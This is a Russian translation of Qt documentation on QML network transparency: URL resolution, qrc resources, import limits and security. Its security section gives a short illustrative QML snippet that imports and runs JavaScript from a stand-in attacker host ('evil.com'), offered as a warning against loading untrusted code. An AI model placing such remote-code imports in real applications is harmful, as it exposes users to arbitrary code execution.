Spec-Zone.ru › Qt

Загрузка ресурсов и сетевая прозрачность

QML поддерживает сетевую прозрачность, используя URL (а не имена файлов) для всех ссылок из документа QML на другой контент. Это означает, что QML может обрабатывать удаленные ресурсы так же, как и локальные, в любом месте, где ожидается URL-источник, например, в следующем источнике изображения:

Image {
    source: "http://www.example.com/images/logo.png"
}

Поскольку относительный URL идентичен относительному файлу, разработка QML на обычных файловых системах остается простой:

Image {
    source: "images/logo.png"
}

Сетевая прозрачность поддерживается во всем QML, например, как элемент FontLoader, так и Image поддерживают загрузку ресурсов с удаленного сервера.

Даже типы QML сами могут находиться в сети: если инструмент qml используется для загрузки http://example.com/mystuff/Hello.qml и этот контент ссылается на тип "World", движок загрузит http://example.com/mystuff/qmldir и разрешит тип так же, как и для локального файла. Например, если файл qmldir содержит строку "World World.qml", он загрузит http://example.com/mystuff/World.qml. Любые другие ресурсы, на которые Hello.qml ссылаются, обычно с помощью относительного URL, аналогичным образом будут загружены из сети.

Относительные и абсолютные URL-адреса

Всякий раз, когда объект имеет свойство типа URL (QUrl), присвоение строки этому свойству фактически присвоит абсолютный URL-адрес — разрешая строку относительно URL-адреса документа, где используется эта строка.

Например, рассмотрим этот контент в http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

Свойство источника Image получит http://example.com/mystuff/images/logo.png, но во время разработки QML, например, в C:\User\Fred\Documents\MyStuff\test.qml, оно получит C:\User\Fred\Documents\MyStuff\images\logo.png.

Если строка, присвоенная URL, уже является абсолютным URL-адресом, то "разрешение" не изменяет его, и URL присваивается непосредственно.

Ресурсы QRC

Одна из встроенных в Qt схем URL — "qrc". Это позволяет компилировать контент в исполняемый файл с помощью Системы ресурсов Qt. Используя это, исполняемый файл может ссылаться на QML-контент, скомпилированный в исполняемый файл:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Сам контент затем может использовать относительные URL-адреса и, таким образом, прозрачно не осознавать, что контент скомпилирован в исполняемый файл.

Ограничения

Заявление import является сетево-прозрачным только в том случае, если оно имеет предложение "as".

Более конкретно:

  • import "dir" работает только на локальных файловых системах
  • import libraryUri работает только на локальных файловых системах
  • import "dir" as D работает с сетевой прозрачностью
  • import libraryUrl as U работает с сетевой прозрачностью

Последствия для безопасности приложений

Модель безопасности QML заключается в том, что QML-контент представляет собой цепочку доверенного контента: пользователь устанавливает доверенный QML-контент так же, как он устанавливает собственные приложения Qt или программы, написанные с использованием таких сред выполнения, как Python и Perl. Эта доверенность устанавливается несколькими механизмами, включая доступность подписи пакетов на некоторых платформах.

Для сохранения доверия пользователей разработчики приложений QML не должны загружать и выполнять произвольный JavaScript или QML-ресурсы. Например, рассмотрите следующий QML-код:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Это эквивалентно загрузке и выполнению "http://evil.com/evil.exe". Движок QML не предотвратит загрузку конкретных ресурсов. В отличие от JavaScript-кода, выполняемого в веб-браузере, QML-приложение может загружать удаленные или локальные ресурсы файловой системы так же, как и любые другие приложения, поэтому разработчики приложений должны быть осторожны при загрузке и выполнении любого контента.

Как и любое приложение, обращаясь к контенту, выходящему за рамки его контроля, QML-приложение должно выполнять соответствующие проверки любого недоверенных данных, которые оно загружает. Например, не используйте import, Loader или XMLHttpRequest для загрузки любого недоверенного кода или контента.

© The Qt Company Ltd
Licensed under the GNU Free Documentation License, Version 1.3.
https://doc.qt.io/qt-6.2/qtqml-documents-networktransparency.html

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API